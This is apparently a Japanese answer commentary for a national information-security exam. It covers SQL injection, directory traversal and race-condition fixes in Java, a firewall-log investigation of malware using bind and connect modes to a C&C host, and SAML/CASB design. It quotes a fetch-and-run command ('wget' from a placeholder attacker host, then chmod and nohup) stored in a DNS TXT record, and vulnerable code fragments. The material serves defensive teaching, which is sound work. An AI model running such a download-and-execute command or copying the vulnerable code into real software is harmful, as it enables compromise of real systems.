令和5年度 春期 午後Ⅰ（旧試験）

本文の根拠

表1 項番2

ファイルアクセスに用いるパス名の文字列作成で，利用者が入力したデータを直接使用している。

図1（続き） 13行目

File fileObj = new File(PDF_DIRECTORY

ディレクトリトラバーサルは，利用者が入力した文字列をそのままファイルのパス名に組み込むことで，意図していないディレクトリのファイルにアクセスされてしまう脆弱性である。表1の項番2の指摘内容は“ファイルアクセスに用いるパス名の文字列作成で，利用者が入力したデータを直接使用している”であり，図1の中でこれに当たる行を探せばよい。

図1の8行目も利用者の入力（inOrderNo）を使っているが，これは SQL 文の組立てであり，項番1の SQL インジェクションの指摘箇所である。パス名を作っているのは13行目の new File(...) で，PDF_DIRECTORY に得意先コードと，利用者が入力した注文番号 inOrderNo を連結している。したがって a は13である。

行番号だけを答える設問なので，8行目（SQL 文）と13行目（パス名）を取り違えないことが要点になる。

本文の根拠

表1 項番3

変数 stmt，変数 resultObj，変数

図1（続き） 10行目

Statement stmt = conn.createStatement();

図1（続き） 14行目

BufferedInputStream in = new BufferedInputStream(new FileInputStream(fileObj));

図1（続き） 18〜19行目

} catch (Exception e) {

確保したリソースは，使い終わったら解放（クローズ）する必要がある。表1の項番3は，変数 stmt，変数 resultObj のほかにもう一つ，解放されない変数があると指摘している。図1の中でリソースを確保している行を探すと，10行目の Statement（stmt），11行目の ResultSet（resultObj），14行目の BufferedInputStream（in）が見つかる。

stmt と resultObj は表1に既に挙がっているので，残る in が b である。図1の18〜19行目の catch 文にはエラー処理しかなく，どの変数についても close を呼ぶ処理や finally ブロックが見当たらない。なお，conn は引数として受け取った接続で，このメソッドが確保したものではなく，fileObj は File 型でファイルを開いた状態を保持するものではないので，対象にならない。

変数名を答える設問なので，大文字・小文字を含めて in と書く。

本文の根拠

〔ツールによるソースコードの静的解析〕

表1の項番1について図1の8行目から11行目を図2に示すソースコードに修正した。

図2

stmt.setString(1, inOrderNo);

図2

ResultSet resultObj = stmt.executeQuery();

項番1は SQL インジェクションで，図1の8行目は SQL 文の中に利用者が入力した inOrderNo を文字列として連結している。これを防ぐ基本的な方法は，SQL 文の中の値の部分をプレースホルダ（?）にしておき，値は後からバインドする静的プレースホルダ（PreparedStatement）を使うことである。

そこで図2では，c に WHERE head.order_no = ? （8行目の連結をプレースホルダに置き換えたもの），d に PreparedStatement stmt = conn.prepareStatement(sql) を入れる。図2の続きにある stmt.setString(1, inOrderNo) が1番目の ? に値を設定する呼出しで，その次の executeQuery() に引数が無いのも，SQL 文を prepareStatement の時点で渡し終えているためである。PreparedStatement では，値は SQL の構文とは別に渡されるので，利用者の入力が SQL 文の構造を変えることはない。

誤りやすいのは d を Statement のままにすることである。Statement には setString がなく，値を連結するしかないので，対策にならない。c は，図4の10行目と同じ形（? の前後の空白も含めて）になる。

採点講評（IPA）

設問1(3)は，正答率が低かった。“PreparedStatement”とすべきところを“Statement”と解答した受験者が多かった。“PreparedStatement”を使う方法は，セキュアプログラミングの基本であり，理解してほしい。

本文の根拠

図4 2行目

private static String orderNo; //注文番号

図5 3行目

String orderNo; //注文番号

〔システムテスト〕

ある得意先の利用者 ID でログインして画面から注文番号を入力すると，別の得意先の注文情報が出力される

不具合は，ある得意先の利用者が注文番号を入力すると，別の得意先の注文情報が出力されるというものである。図4と図5を見ると，図5のサーブレットは doPost の中の注文番号（ローカル変数 orderNo）を OrderInfoBL.setOrderNo で設定し，続けて getOrderInfoBean を呼んでいる。この間，図4では注文番号を2行目の変数 orderNo に保存し，11行目で読み出している。

図4の2行目の orderNo は static（クラス変数）で，同じクラスのすべてのインスタンスと，すべての要求を処理するスレッドから共有される。サーブレットは1つのインスタンスが複数のリクエストを並行して処理するので，ある利用者がセットした注文番号が，読み出す前に別の利用者の要求で書き換えられることがある。図5の3行目の orderNo は doPost の中で宣言されたローカル変数なのでスレッドごとに別々になり，問題を起こさない。したがって e は orderNo である。

図4にある変数は orderNo のほか，inOrderNo（引数）・psObj・sql・resultObj（ローカル）もあるが，クラスに static で宣言されているのは orderNo だけである。

本文の根拠

図4 2行目

private static String orderNo; //注文番号

図4の2行目は private static String orderNo; で，修飾子の private は外部から直接参照できないことを，static はクラスに1つだけ存在する変数（クラス変数）であることを表す。f には，e の変数 orderNo がどのように宣言されているかを答える。

問題の原因は private ではなく static で，インスタンスごとに別の値をもつインスタンス変数やローカル変数とは違い，static 変数はすべての要求の処理から共有される。英字10字以内という指定は，“static”（6字）を答えさせるためのものである。

“static 変数”のように日本語を足すと英字10字以内を満たさないので，static だけを書く。private を答えると，原因の説明（共有される）にならない。

本文の根拠

〔システムテスト〕

並列動作する複数の処理が同一のリソースに同時にアクセスしたとき，想定外の処理結果が生じる

下線①は，“並列動作する複数の処理が同一のリソースに同時にアクセスしたとき，想定外の処理結果が生じる”不具合である。ここでのリソースが static 変数 orderNo で，処理の順序やタイミングによって結果が変わってしまうことから，レースコンディション（競合状態）と呼ばれる。

今回は，ある利用者の要求が orderNo に値をセットしてから SQL の検索に使うまでの間に，別の利用者の要求が値を書き換えると，前者が別の得意先の注文情報を受け取る。タイミング次第で起きるため，システムテストの条件によっては発現せず，再現しにくい。

15字以内なので“レースコンディション”（10字）で足りる。“競合状態”でも同じ意味だが，解答例は“レースコンディション”であり，“排他制御”のように対策の名前を答えないように注意する。

採点講評（IPA）

設問2(3)は，正答率が低かった。“レースコンディション”は個人情報漏えいなどにつながる可能性があるので，設計，実装，テストでの対策を確認しておいてほしい。

本文の根拠

〔システムテスト〕

(1) 図4の2行目から5行目までのソースコードを削除する。

図6

public OrderInfoBean getOrderInfoBean(

図7

OrderInfoBL orderInfoBLObj =

対策は，共有される変数をなくし，要求ごとに独立した値を使うようにすることである。(1)で図4の2〜5行目（static 変数 orderNo とその設定メソッド）を削除するので，注文番号はメソッドの引数として受け取る必要がある。そこで図6の g は，引数として注文番号を渡す String orderNo となる。

図6では public static の static も外れており，メソッドはインスタンスのメソッドになる。図7はそれに合わせて，サーブレットが OrderInfoBL のインスタンスを new で生成し（h は new），そのインスタンスの getOrderInfoBean に，図5の3行目のローカル変数 orderNo を渡して呼び出す（i は getOrderInfoBean(orderNo)）。要求ごとに別のインスタンスとローカル変数ができるので，他の利用者の値が混ざらない。

h は new だけでよく，i は引数付きの呼出しを書く。getOrderInfoBean() のように引数を省くと，図6の g の宣言と合わない。

本文の根拠

〔システムテスト〕

ログイン処理時に，ログインした利用者 ID と，利用者 ID にひも付く得意先コード及び得意先名はセッションオブジェクトに保存されている。

図3 注文ヘッダーテーブル

注文ヘッダーテーブル（注文番号（主キー），注文日時，得意先コード（外部キー），注文総額，消費税額，…）

保険的な対策は，ログインした利用者の得意先の注文情報だけを返すように，抽出条件を足すことである。セッションオブジェクトには，利用者 ID のほか，利用者 ID にひも付く得意先コードと得意先名が保存されている。一方，図3の注文ヘッダーテーブルの属性を見ると，得意先コード（外部キー）はあるが，利用者 ID や得意先名はない。

したがって，セッションオブジェクトに保存された得意先コードと，注文ヘッダーテーブルの得意先コードを完全一致させる条件を AND で加えれば，別の得意先の注文は抽出されない。j はどちらの欄も属性名で，得意先コードが入る。

注文番号は既に図4の10行目の抽出条件に入っているので，追加する条件にはならない（採点講評にも，注文番号と答えた受験者がいたとある）。利用者 ID や得意先名は，注文ヘッダーテーブルに無いため，図3から選べる属性名にならない。

採点講評（IPA）

設問2(5)は，正答率がやや高かったが，“注文番号”と解答した受験者が見受けられた。注文番号は既に抽出条件に入っているので，E-R図とJavaソースコードから，保険的対策として適切な抽出条件を導き出す方法を理解してほしい。

本文の根拠

〔FW のログの調査〕

DB サーバから製造管理サーバに対して FTP 接続が行われ，DB サーバから製造管理サーバに FTP の

表1 項番1-233

1-233，04/21 15:15，192.168.0.2，192.168.1.145，55432/TCP，21/TCP，許可。

表1 項番1-234

1-234，04/21 15:15，192.168.0.2，192.168.1.145，55433/TCP，60453/TCP，許可。

FTP は，制御用の接続（21/TCP）とは別に，ファイル転送用のデータコネクションを張る。アクティブモードでは，サーバがクライアントに向けてデータコネクションを張る（RFC 959 の既定の動作で，サーバ側のポートは 20/TCP）。パッシブモードでは，クライアントがサーバの指定したポートに向けて，制御用とは別の接続を張る。

表1を見ると，1-233 が DB サーバ（192.168.0.2）から製造管理サーバ（192.168.1.145）の 21/TCP への制御用接続である。続く 1-234 も送信元が DB サーバ，宛先が製造管理サーバで，宛先ポートが 60453/TCP という，サーバが指定した高い番号のポートになっている。データコネクションもクライアントである DB サーバ側から張られているので，a はパッシブである。アクティブモードなら，製造管理サーバから DB サーバへの接続（送信元 20/TCP）が記録されるはずである。

誤りやすいのは，宛先ポートが 21 番以外であることをアクティブと取り違える点である。接続を張る向きで見分ける。

採点講評（IPA）

設問1は，正答率が低かった。FTP通信の動作を理解し，“アクティブモード”，“パッシブモード”のデータコネクションがそれぞれFWのログにどのように記録されるかについて理解してほしい。

本文の根拠

〔受付サーバのプロセスとネットワーク接続の調査〕

SNMPv2c で public という

SNMPv2c は，コミュニティ名（コミュニティストリング）という文字列を，パスワードに相当するものとして使い，機器の情報を取得する方式である（RFC 1901）。read 用に初期設定で public が使われることが多く，攻撃ツールはこの既定値を試して機器のバージョン情報を集める。

本文では“SNMPv2c で public という b 名を使って，機器のバージョン情報を取得し”と書かれているので，b はコミュニティである。SNMPv3 の利用者名や認証パスワードとは別の，SNMPv2c の用語である。

10字以内の指定なので“コミュニティ”（6字）と書く。“コミュニティストリング”は10字を超えるので，“名”の前に入れる語としてもコミュニティだけにする。

本文の根拠

表2 項番2-3

2-3，app，1275，7438，04/21 15:01，./srv -c -mode bind 0.0.0.0:8080 2>&1。

表3 項番3-3

3-3，TCP，0.0.0.0:8080，0.0.0.0:*，LISTEN，1275。

表1 項番1-3

1-3，04/21 15:03，a0.b0.c0.d0，192.168.0.1，34673/TCP，8080/TCP，拒否。

本文冒頭（FW の設定）

インターネットから受付サーバへの通信は 443/TCP だけを許可しており

c には，バインドモードとコネクトモードのどちらで一度接続を試み，失敗したかを入れる。バインドモードは外部からの接続を待ち受けるモードで，コネクトモードは外部へ自ら接続するモードである。表2の 2-3 は 15:01 に -mode bind 0.0.0.0:8080 で起動したプロセス（PID 1275）で，表3の 3-3 でそのプロセスが 8080/TCP を LISTEN している。

この 8080/TCP に対して，15:03 にインターネット上の a0.b0.c0.d0 から受付サーバ（192.168.0.1）への通信が行われたが，表1の 1-3 で拒否されている。FW はインターネットから受付サーバへの通信を 443/TCP だけ許可しているので，8080/TCP は届かない。つまりバインドモードでの接続は失敗した。

理由は表1〜表3の項番を各表から一つずつ（2-3，3-3，1-3）示して，40字以内にまとめる。解答例は“2-3によって起動した3-3のポートへの通信が1-3で拒否されているから”の形で，起動したプロセス，待ち受けているポート，拒否されたログの三つを結ぶ。

本文の根拠

表2 項番2-4

2-4，app，1293，7438，04/21 15:08，./srv -c -mode connect a0.b0.c0.d0:443 2>&1。

表3 項番3-4

3-4，TCP，192.168.0.1:54543，a0.b0.c0.d0:443，ESTABLISHED，1293。

表1 項番1-4

1-4，04/21 15:08，192.168.0.1，a0.b0.c0.d0，54543/TCP，443/TCP，許可。

本文冒頭（FW の設定）

受付サーバからインターネットへの通信は OS アップデートのために 443/TCP だけを許可している。

バインドモードが失敗した後，攻撃者は 15:08 に，表2の 2-4 のように srv を -mode connect a0.b0.c0.d0:443 で起動している。コネクトモードは受付サーバから外部の C&C サーバへ接続するモードで，受付サーバから 443/TCP への通信は FW で許可されている。d はコネクトである。

表3の 3-4 では，同じ PID 1293 のプロセスが 192.168.0.1:54543 から a0.b0.c0.d0:443 への接続を ESTABLISHED（確立済み）にしている。表1の 1-4 にも，同じ時刻・同じポート番号（54543/TCP → 443/TCP）で許可された通信がある。ESTABLISHED であることが，接続に成功した根拠である（3-5 は SYN_SENT で，まだ確立していない）。

理由は項番を各表から一つずつ（2-4，3-4，1-4）示して40字以内で書く。起動したプロセスの 2-4 と，確立した接続の 3-4，許可された通信の 1-4 とのつながりを短くまとめる。

採点講評（IPA）

設問2は，(3)，(4)ともに正答率が高かった。攻撃の調査では，マルウェアの“バインドモード”，“コネクトモード”のそれぞれの通信の方向を理解した上で，プロセスの起動，ポートの利用，FWの通信記録など複数の情報の関連性を正しく把握する必要がある。複数の情報を組み合わせて調査することの必要性を認識してほしい。

本文の根拠

表2 項番2-5

2-5，app，1365，1293，04/21 15:14，./srv -s -range 192.168.0.1-192.168.255.254。

〔受付サーバのプロセスとネットワーク接続の調査〕

C&C（Command and Control）サーバから指示を受け，子プロセスを起動してポートスキャンなど行う。

srv は C&C サーバから指示を受けると，子プロセスを起動してポートスキャンなどを行う。C&C サーバとの接続に成功したのは，PID 1293 のコネクトモードのプロセスである。ポートスキャンを実行したのは，その子プロセスに当たるものを表2から探せばよい。

表2の 2-5 は PPID（親プロセス ID）が 1293 で，開始日時は 15:14（C&C サーバに接続した 15:08 より後），コマンドラインは -s -range 192.168.0.1-192.168.255.254 と，アドレス範囲を指定したスキャンの形をしている。表3の 3-5 でも，この PID 1365 のプロセスが 192.168.253.124:21 に SYN を送っている（SYN_SENT）。したがって e は 1365 である。

バインドモードの 2-3（PID 1275）は C&C サーバとの接続に失敗したプロセスで，親も 7438（Web アプリ）なので，スキャンの実行元にならない。PID と PPID の列を取り違えないようにする。

採点講評（IPA）

設問2は，(3)，(4)ともに正答率が高かった。攻撃の調査では，マルウェアの“バインドモード”，“コネクトモード”のそれぞれの通信の方向を理解した上で，プロセスの起動，ポートの利用，FWの通信記録など複数の情報の関連性を正しく把握する必要がある。複数の情報を組み合わせて調査することの必要性を認識してほしい。

本文の根拠

〔受付サーバの設定変更の調査〕

TXT レコードのリソースデータを取得し，リソースデータの内容をそのままコマンドとして実行する

図2

wget https://a0.b0.c0.d0/logd

A レコードの値は IPv4 アドレス（32ビット）に決まっており，RFC 1035 でその形式が定められているので，任意の文字列を載せられない。これに対して TXT レコードは，文字列（character-string）を値として格納できるレコードで，値の内容に決まった意味は無い（RFC 1035）。

攻撃者は，この TXT レコードにコマンドの文字列（図2の wget ... && chmod +x ... && nohup ... のようなもの）を設定しておき，受付サーバの cron エントリーが起動時に DNS で取得して，そのまま実行する。A レコードで取得できるのは IP アドレスだけなので，同じ方法ではコマンドを渡せない。

30字以内なので，“TXTレコードには任意の文字列を設定できるから”（23字）のように，TXT レコードの値が任意の文字列であることを中心に書く。A レコードとの違い（アドレスしか入らない）まで書く余裕は無い。

本文の根拠

〔受付サーバの設定変更の調査〕

M さんは，logd のファイルについてハッシュ値を調べたが，情報が見つからなかった

〔受付サーバの設定変更の調査〕

Web ブラウザで図2の URL から logd のファイルをダウンロードし

調査の対象は，受付サーバで実際に稼働していた不審なプロセス logd のファイルである。図2の URL から Web ブラウザでダウンロードしたファイルは，攻撃者が管理する URL 上のファイルなので，受付サーバに置かれたものと同じ内容とは限らない。

攻撃者は，時間の経過とともに URL 上のファイルを差し替えたり，アクセスしてきた相手によって返す内容を変えたりできる。そのため，URL から取得したファイルを解析しても，受付サーバに仕掛けられたマルウェアの解析にならないおそれがある。採点講評も，時間の経過とともに URL 上のファイルが変わっている可能性があることを認識し，証拠保全や不審ファイルの取扱方法を理解するよう述べている。

30字以内なので，“稼働しているファイルと内容が異なる可能性があるから”（25字）のように，“稼働しているファイル”と“内容が異なる可能性”の二つを残す。“危険だから”のような一般論は，この設問の理由にならない。

採点講評（IPA）

設問3(2)は，正答率が平均的であった。時間の経過とともにURL上のファイルが変わっている可能性があることを認識し，証拠保全や不審ファイルの取扱方法について理解を深めてほしい。

本文の根拠

〔受付サーバの設定変更の調査〕

M さんが受付サーバを更に調査したところ，logd という名称の不審なプロセスが稼働していた。

〔受付サーバの設定変更の調査〕

調査対象とする logd のファイルを

下線④のとおり，URL からダウンロードしたファイルは解析対象として適切ではない。受付サーバでは logd という名称の不審なプロセスが実際に稼働していたので，解析すべきなのは，そのプロセスの実行ファイルである。M さんは，調査対象とする logd のファイルを受付サーバから取得して，マルウェア対策ソフトベンダーに解析を依頼した。

このとき，受付サーバは既に U 課長の指示でネットワークから切断されており，ファイルを取り出して解析しても，外部への通信は起きない。

10字以内の指定なので，“受付サーバ”（5字）と書く。“製造管理サーバ”や“ログ管理サーバ”のように，logd が稼働していない機器を答えない。

本文の根拠

〔L サービスの動作確認〕

Q 社の PC が SaaS-a にアクセスするときの，SP-Initiated 方式の SAML 認証の流れを図2に示す。

図2

(1) サービス要求：b から c へ。(2) 認証要求（リダイレクト指示）：c から b へ。(3) 認証要求：b から a へ。(4) 利用者の認証：a と b の間の双方向。

SP-Initiated 方式の SAML 認証は，利用者がサービス提供者（SP）にアクセスするところから始まる。SP は利用者を認証しないで，認証要求を Web ブラウザ経由で IdP（ID プロバイダ）にリダイレクトし，IdP が利用者を認証して認証応答（アサーション）を同じくブラウザ経由で SP に返す（OASIS の SAML 2.0 Web Browser SSO プロファイル）。

図2の(1)は b から c への“サービス要求”で，サービスを要求するのは PC の Web ブラウザだから b がイ，要求を受けるのは SaaS-a だから c がウである。(2)で c が b に認証要求のリダイレクトを指示し，(3)で b が a に認証要求を送るので，a は IdP である L サービス（ア）になる。(4)の利用者の認証は a と b の間，(5)(6)の認証応答は a から b を経て c に届き，(7)でサービス応答が返る。

仲介役は常に Web ブラウザ（b）で，SaaS-a と L サービスは直接通信しない。b の位置（真ん中）から，ブラウザと分かる。

本文の根拠

表1 L サービス 送信元制限機能

契約した顧客が設定した IP アドレス（注 1）からのアクセスだけを許可する。

表1 注 2）

本社の UTM のグローバル IP アドレスを送信元 IP アドレスとして設定している。設定している IP アドレス以外からのアクセスは拒否する設定にしている。

表1 L サービス 多要素認証機能

設定 無効。

下線①は，利用者 ID とパスワードが攻撃者に渡っても，攻撃者が社外から L サービスを利用することはできない，という内容である。L サービスには送信元制限機能があり，本社の UTM のグローバル IP アドレスだけを送信元として許可し，ほかからのアクセスは拒否する設定になっている（表1の注2）。

攻撃者が社外から L サービスにアクセスすると，送信元 IP アドレスは本社の UTM のものではないので，利用者 ID とパスワードが正しくても，アクセス自体が拒否される。この時点では多要素認証機能は無効なので，パスワードだけで守っているのではなく，送信元 IP アドレスの制限が効いている点が理由になる。

40字以内に収めるには，“送信元制限機能”と“本社の UTM からのアクセスだけを許可”を残す。“多要素認証をしているから”と答えると，多要素認証機能が“無効”の表と食い違う。

本文の根拠

表3 項番2

送信元からの TLS 通信を終端し，復号してマルウェアスキャンを行う。マルウェアスキャンの完了後，再暗号化して送信先に送信する。

P サービスは，送信元（PC）からの TLS 通信をいったん終端して復号し，マルウェアスキャンをしてから，再度暗号化して送信先に送る。PC の Web ブラウザからは，P サービスが接続先のサーバであるかのように見えるので，P サービスは接続先ごとにサーバ証明書を発行して使う。

ブラウザがこのサーバ証明書を警告なしで受け入れるには，発行した認証局を信頼されたルート証明書として登録しておく必要がある（RFC 5280 のいう，信頼の起点となる trust anchor）。したがって，“d を発行する e を，f として，PC にインストールする”は，「P サービスのサーバ証明書（d：ア）を発行する認証局の証明書（e：ウ）を，信頼されたルート証明書（f：イ）として，PC にインストールする」と読める。

解答群の3つの語は同じ文の中で役割が違うので，発行されるもの（サーバ証明書），発行する側（認証局の証明書），インストール先での位置付け（信頼されたルート証明書）に分けて考える。

本文の根拠

表3 項番5

中継する通信のログを基に，クラウドサービスの利用状況の可視化を行う。

CASB（Cloud Access Security Broker）は，利用者とクラウドサービスの間に入って，クラウドサービスの利用状況の可視化，アクセス制御，データ保護などを行う仕組みである。表3の項番5が“中継する通信のログを基に，クラウドサービスの利用状況の可視化を行う”とあるので，g は CASB（イ）である。

項番1〜4の機能（認証連携，マルウェアスキャン，URL フィルタリング）や項番6（リモートアクセス）も含め，P サービスは利用者とクラウドサービスの通信を中継するので，CASB の機能の一つと見られる。

他の解答群は別の用語である。CAPTCHA は人間かどうかを判定する仕組み，CHAP は PPP などで使うチャレンジレスポンス認証（RFC 1994），CVSS は脆弱性の深刻度の評価手法，クラウド WAF は Web アプリケーションへの攻撃を防ぐサービスで，利用状況の可視化とは違う。

本文の根拠

本文冒頭

PC の Web ブラウザからインターネットへのアクセスは，本社のプロキシサーバを経由する。

表2 要件1

本社のインターネット回線をひっ迫させない。

表1 注 4）

本社の UTM と各営業所の UTM との間で VPN 通信する設定にしている。そのほかの VPN 通信の設定はしていない。

見直し前は，PC の Web ブラウザからインターネットへのアクセスが本社のプロキシサーバを経由する。営業所は本社の UTM との間の VPN で本社につながっているので，営業所の PC のインターネットアクセスも本社を通る。在宅勤務の導入で本社への通信が増え，本社のインターネット回線がひっ迫するおそれがあり，要件1がこれを避けるよう求めている。

見直し後は，図3のとおり P サービス（クラウド）と各拠点の P コネクタを導入する。営業所からのインターネットへのアクセスは，本社のプロキシサーバを経由させるのをやめ，P サービスを経由させる。これで営業所の通信が本社の回線を通らなくなり，本社の負荷が減る。

30字以内なので，“プロキシサーバではなく，Pサービスを経由させる。”（24字）のように，見直し前（プロキシサーバ）と見直し後（P サービス）を対にして書く。見直し後だけを書くと“違い”にならない。

採点講評（IPA）

設問3(1)は，正答率が低かった。“見直し前”と“見直し後”の通信経路について理解していないと思われる解答が散見された。クラウドサービスのセキュリティを確保するためには，クラウドサービスとの通信経路を把握する必要があるので，ネットワーク構成の見直しによってどのように通信経路が変わるかを理解してほしい。

本文の根拠

表3 項番1

L サービスの送信元制限機能には，P サービスに接続してきた送信元の IP アドレスが通知される。

表1 注 2）

本社の UTM のグローバル IP アドレスを送信元 IP アドレスとして設定している。

表4 要件1

L サービスでの送信元制限機能は有効にしたまま，

L サービスは，送信元制限機能で本社の UTM のグローバル IP アドレスだけを許可している。営業所からのインターネットアクセスが本社を経由しなくなると，営業所の PC は，営業所の UTM のグローバル IP アドレスを送信元として P サービスに接続することになり，L サービスの送信元制限に拒否されてしまう。

表3の項番1のとおり，L サービスの送信元制限機能には，P サービスに接続してきた送信元の IP アドレス（ここでは営業所の UTM のもの）が通知される。送信元制限機能は有効のままにしておくので，営業所の UTM のグローバル IP アドレスを送信元として追加で設定すればよい。

40字以内なので，“送信元制限機能で，営業所のUTMのグローバルIPアドレスを設定する。”のように，どの機能に，何を追加するかの2点を残す。拒否の設定の変更や多要素認証は要件2の話で，下線③の設定追加ではない。

本文の根拠

表2 要件2

L サービスに接続できる PC を，本社と営業所の PC 及び R-PC に制限する。なお，従業員宅のネットワークについて，前提を置かない。

表1 多要素認証機能

（イ）TLS クライアント認証を行う方式

要件2は，L サービスに接続できる PC を，本社と営業所の PC 及び R-PC に制限することを求めており，従業員宅のネットワークは前提にできない（送信元 IP アドレスで絞れない）。そこで，送信元制限機能では許可した IP アドレス以外を“拒否”ではなく“多要素認証を動作させる”ように変更し，その多要素認証で PC を限定する。

表1の方式（ア）は，スマートフォンに SMS で送ったワンタイムパスワードを入力させるもので，接続元が社内で管理する PC かどうかは確かめられない。方式（イ）の TLS クライアント認証は，クライアント証明書を持つ PC だけが接続できるので，証明書を入れた会社貸与の PC（R-PC）に接続元を限定できる。したがって④は（イ）である。

“PC を制限する”という要件の言葉を手掛かりに，認証の対象が利用者（ワンタイムパスワード）か端末（クライアント証明書）かで選ぶ。

本文の根拠

表2 要件3

R-PC から本社のサーバにアクセスできるようにする。ただし，UTM のファイアウォール機能には，インターネットからの通信を許可するルールを追加しない。

表3 項番6

P コネクタ（注 2）を社内に導入することによって，社内と社外の境界にあるファイアウォールの設定を変更せずに社外から社内にアクセスできる。

表2 要件4

HTTPS 通信の内容をマルウェアスキャンする。

表3 項番2

送信元からの TLS 通信を終端し，復号してマルウェアスキャンを行う。

要件3は，R-PC から本社のサーバにアクセスできるようにしつつ，UTM にインターネットからの通信を許可するルールを足さない，という条件である。表3の項番6のリモートアクセス機能は，P コネクタを社内に導入することで，ファイアウォールの設定を変えずに社外から社内にアクセスできる。注2のとおり，P コネクタと P サービスの通信は P コネクタから接続を開始するので，インターネット側からの接続を許可する必要がない。h は 6 である。

要件4は HTTPS 通信の内容のマルウェアスキャンで，表3の項番2のマルウェアスキャン機能が，TLS 通信を終端して復号し，スキャン後に再暗号化する。i は 2 である。

項番の数字を答えるだけなので，要件の言葉（“ファイアウォールの設定を変更しない”＝項番6，“HTTPS 通信の内容をマルウェアスキャン”＝項番2）と表3の機能概要を対応付けて確かめる。項番3・4は要件5で使われる。

本文の根拠

表2 要件5

SaaS-a 以外の外部ストレージサービスへのアクセスは禁止とする。また，SaaS-a へのアクセスは業務で必要な最小限の利用者に限定する。

図1 注記

四つの SaaS のうち SaaS-a は，研究開発部の従業員が使用する。

図1 注 1）

SaaS-a は，外部ストレージサービスであり，URL は，https://△△△-a.jp/ から始まる。

表5 注記

番号の小さい順に最初に一致したルールが適用される。

表3 項番3，4

アクセス先の URL カテゴリと利用者 ID との組みによって，“許可”又は“禁止”のアクションを適用する。

要件5は，SaaS-a だけ，研究開発部の従業員にだけ許可し，ほかの外部ストレージサービスは全員に禁止する，という二つの条件である。SaaS-a は外部ストレージサービスで，URL は https://△△△-a.jp/ から始まる。表3の項番4（URL 単位）は URL のスキームからホストまでの部分と利用者 ID でアクションを決め，項番3は URL カテゴリ（外部ストレージサービスなど）と利用者 ID で決める。

表5の注記のとおり，番号の小さい順に最初に一致したルールが適用される。外部ストレージサービスのカテゴリには SaaS-a も含まれるので，カテゴリ全体を禁止するルールを先に置くと，SaaS-a も禁止になってしまう。そこで番号1に，項番4（あ：4）で URL https://△△△-a.jp/（j），研究開発部の従業員（k）の利用者 ID を許可（l）とする。番号2に，項番3（い：3）で外部ストレージサービス（m），全て（n）の利用者 ID を禁止（o）とする。

採点講評にもあるとおり，番号1と番号2を逆にした解答が散見された。特定のものを許可する例外ルールを先に，一般的な禁止ルールを後に置くのが，順番に意味があるフィルタリングの基本である。

採点講評（IPA）

設問3(5)は，正答率が平均的であった。表5の番号1と番号2について，逆に解答した受験者が散見された。適用されるルールの順番によって動作が変わってしまう。セキュリティ製品のフィルタリングルールでは，適用の順番に注意してほしい。